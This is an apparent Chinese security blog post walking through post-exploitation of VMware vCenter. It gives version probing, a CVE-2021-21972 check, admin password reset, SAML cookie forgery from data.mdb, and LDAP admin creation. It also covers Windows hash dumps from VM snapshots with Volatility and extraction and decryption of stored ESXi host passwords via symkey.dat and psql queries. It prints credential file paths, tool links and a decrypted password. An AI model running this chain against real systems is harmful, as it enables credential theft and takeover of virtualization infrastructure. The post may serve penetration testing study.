当前位置: 首页 > article >正文

后渗透利用之vcenter

目录

  • vcenter介绍
  • 环境搭建
  • 历史漏洞
  • 版本信息
    • 1、直接访问
    • 2、请求接⼝
  • 打点
    • CVE_2021_21972
      • 漏洞描述:
      • POC:
  • 后渗透
    • 获取vCenter后台
      • 重置密码
      • Cookie登录
      • 创建管理员
    • 获取虚拟机Hash
      • 分析快照
      • 挂载磁盘
    • 获取Esxi 后台
      • 获取解密key
      • 获取数据库账号密码
      • 查询Esxi加密密码
      • 解密Esxi账号密码
      • 登录Esxi管理后台

vcenter介绍

1、vSphere
vSphere 是⼀个软件的集合,包括了 vCenter Server和Esxi。
2、Esxi
Esxi 是 vSphere 中最重要的⼀个组件,是虚拟化服务,所有的虚拟机都是运⾏在 Esxi 服务上⾯。
3、vCenter
Esxi6.0前是通过 C/S 架构来管理 ESXi 集群,Esxi6.0后,官⽅采⽤ web 管理平台。
部署了 vSphere web client 的服务器被称之为 vCenter Server。
官⽅推荐将打包好的Client与 Server 应⽤安装包命名为:VMware vCenter Server Appliance,简称为:VCSA。
VCSA需要部署在VMware⾃家的Photon系统下。

环境搭建

选择esci镜像,创建一个虚拟机
在这里插入图片描述
输入密码,输完第一个按tap键输第二个
在这里插入图片描述
按f11开始安装
在这里插入图片描述
重启即可,进入web管理页面
在这里插入图片描述
建一台win 2008
安装vCenter

历史漏洞

1、CVE-2017-5638 (S2-045)

有些⽼旧版本vCenter存在S2-045。

2、CVE-2021-21972(RCE)

VMware vCenter Server 7.0系列 < 7.0.U1c
VMware vCenter Server 6.7系列 < 6.7.U3l
VMware vCenter Server 6.5系列 < 6.5 U3n
VMware ESXi 7.0系列 < ESXi70U1c-17325551
VMware ESXi 6.7系列 < ESXi670-202102401-SG
VMware ESXi 6.5系列 < ESXi650-202102101-SG

3、CVE-2021-21980(任意⽂件读取)

vCenter Server 6.7
vCenter Server 6.5
Cloud Foundation (vCenter Server) 3.x

4、CVE-2021-21985(RCE)

7.0 <= vCenter Server < 7.0 U2b
6.7 <= vCenter Server < 6.7 U3n
6.5 <= vCenter Server < 6.5 U3p
4.x <= Cloud Foundation (vCenter Server) < 4.2.1
3.x <= Cloud Foundation (vCenter Server) < 3.10.2.1

5、CVE-2021-22005(任意⽂件上传)

7.0 <= vCenter Server < 7.0 U2c
6.7 <= vCenter Server < 6.7 U3o

6、CVE-2021-44228(Log4j)

vCenter Server < 7.0 U3c
vCenter Server < 6.7 U3q
vCenter Server < 6.5 U3s

7、provider-logo SSRF

vCenter v7.0.x 的某些版本中存在未授权SSRF漏洞。

版本信息

1、直接访问

https://192.168.76.139/sdk/vimServiceVersions.xml

2、请求接⼝

POST /sdk/ HTTP/1.1
Host: 192.168.76.139
Connection: close
sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: text/plain, */*; q=0.01
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 
Firefox/100.0
sec-ch-ua-platform: "macOS"
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.76.139/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Timeline Sec
fcmit.cc0x04 漏洞复现
Content-Type: application/x-www-form-urlencoded
Content-Length: 503
<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soap:Header>
<operationID>00000001-00000001</operationID>
</soap:Header>
<soap:Body>
<RetrieveServiceContent
xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</soap:Body>
</soap:Envelope>

打点

工具:https://github.com/W01fh4cker/VcenterKit

CVE_2021_21972

漏洞描述:

默认启⽤的 vROps 插件(com.vmware.vropspluginui.mvc)
ServicesController 类的 uploadova 接⼝存在未授权访问,
可利⽤路径穿越将⽂件解压⾄特定⽬录实现 getshell。

POC:

https://192.168.76.139/ui/vropspluginui/rest/services/uploadova

如果404,则代表不存在漏洞,如果405 或者200则可能存在漏洞。
Exp:

CVE-2021-21980
CVE-2021-21985
CVE-2021-22005
CVE-2021-44228
provider-logo SSRF
CVE-2017-5638 (S2-045)

后渗透

获取vCenter后台

重置密码

运⾏以下⽬录的程序即可按照流程重置管理员密码。

#Linux 
/usr/lib/vmware-vmdir/bin/vdcadmintool 
#Windows 
C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

Cookie登录

从 vCenter 获得数据库⽂件,其内含有IdP 证书和为管理员⽤户创建的 SAML 请求。

Linux:
/storage/db/vmware-vmdir/data.mdb
Windows:
C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

下载dáta.mdb
利⽤ SAML 解密脚本⽣成 Cookie:https://github.com/horizon3ai/vcenter_saml_login
利⽤插件构造Cookie
访问链接,成功登录

https://192.168.76.139/ui/

创建管理员

利⽤脚本通过ldap添加管理员:
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenterLDAP_Manage.py
添加完成后即可⽤新加的管理员账号登⼊后台。

获取虚拟机Hash

分析快照

点击虚拟机,⽣成快照。
找到快照⽂件,并下载。
使用Volatility 进行内存取证

volatility_2.6_win64_standalone.exe -f "Windows Server 2008-Snapshot1.vmem" imageinfo

Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418

使用 Volatility 的 hivelist 命令来列出内存转储中的注册表 Hive

volatility_2.6_win64_standalone.exe -f "Windows Server 2008-Snapshot1.vmem" --
profile=Win2008R2SP1x64_23418 hivelist

在这里插入图片描述
使用 Volatility 进行内存转储分析,特别是从指定的内存地址导出用户密码哈希

Y:\Downloads\volatility_2.6_win64_standalone>volatility_2.6_win64_standalone.exe -f 
"Windows Server 2008-Snapshot1.vmem" --profile=Win2008R2SP1x64_23418 hashdump -y 
0xfffff8a000024010 -s 0xfffff8a002561010 

挂载磁盘

将⽬标机器克隆为虚拟机。
在这里插入图片描述
在另⼀台可以登录到桌⾯的虚拟机中添加现有硬盘。
在这里插入图片描述在虚拟机中配置磁盘⽂件为⽬标机器的磁盘。
在这里插入图片描述
打开机器,在磁盘管理中设置磁盘联机
在这里插入图片描述

SYSTEM⽂件
C:\Windows\System32\config\SYSTEM
SAM⽂件
C:\Windows\System32\config\SAM

获取Esxi 后台

获取解密key

#Linux
cat /etc/vmware-vpx/ssl/symkey.dat
#Windows
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat

获取数据库账号密码

#Linux
cat /etc/vmware-vpx/vcdb.properties
cat /etc/vmware/service-state/vpxd/vcdb.properties

#Windows
type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties
type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties

查询Esxi加密密码

Linux: 
/opt/vmware/vpostgres/9.3/bin/psql
Windows: 
C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe

使用 psql 工具从 PostgreSQL 数据库中提取信息

./opt/vmware/vpostgres/9.6/bin/psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select 
ip_address,user_name,password from vpx_host;" > password.enc

解密Esxi账号密码

  1. 填充symkey.dat(解密key)
  2. 填充Esxi加密密码
  3. 解密账号密码
    https://github.com/shmilylty/vhost_password_decrypt
    在这里插入图片描述

登录Esxi管理后台

vpxuser/j0bB~ck@3F8K{.KXUmH[bgG}=8}3.w:j


http://www.kler.cn/a/349987.html

相关文章:

  • 百度APP iOS端磁盘优化实践(上)
  • SecureUtil.aes数据加密工具类
  • 差分进化算法 (Differential Evolution) 算法详解及案例分析
  • 2025最新 Docker 国内可用镜像源仓库地址(01月02日更新)
  • 编程题-两数相加(中等)
  • TODO: Linux 中的装机硬件测试工具
  • 点击按钮修改文本--thinkphp8与ElementPlus
  • Spring使用注解进行依赖注入
  • Linux——rz+sz命令
  • 【数据分享】中国农村贫困监测报告2000-2020年(2012-2014年未发布)
  • 又一款国产自动化测试平台,开源了!
  • k8s Node节点维护
  • 什么是大数据治理?大数据治理未来趋势是什么?
  • FFmpeg的简单使用【Windows】--- 指定视频的时长
  • Nacos微服务配置管理和拉取
  • NCP1342 | 65W氮化镓快充电源主控芯片,准谐振反激控制器
  • Nginx中的并发限制之limit_req和limit_conn和limit_rate 详解
  • threejs-光线投射实现3d场景交互事件
  • ORB-SLAM2之OpenCV reshape函数
  • 基于Spring Boot+vue技术的导游系统设计与实现
  • 10-μA低功耗30-ppm/°C 漂移电压基准-ZCC3325替代REF33XX
  • AI开发-三方库-Hugging Face-Pipelines
  • Dirmap:一款高级Web目录文件扫描工具
  • 【Linux】Linux进程基础
  • pdf文件怎样一张纸打印四页
  • 多模态大语言模型(MLLM)-InstructBlip深度解读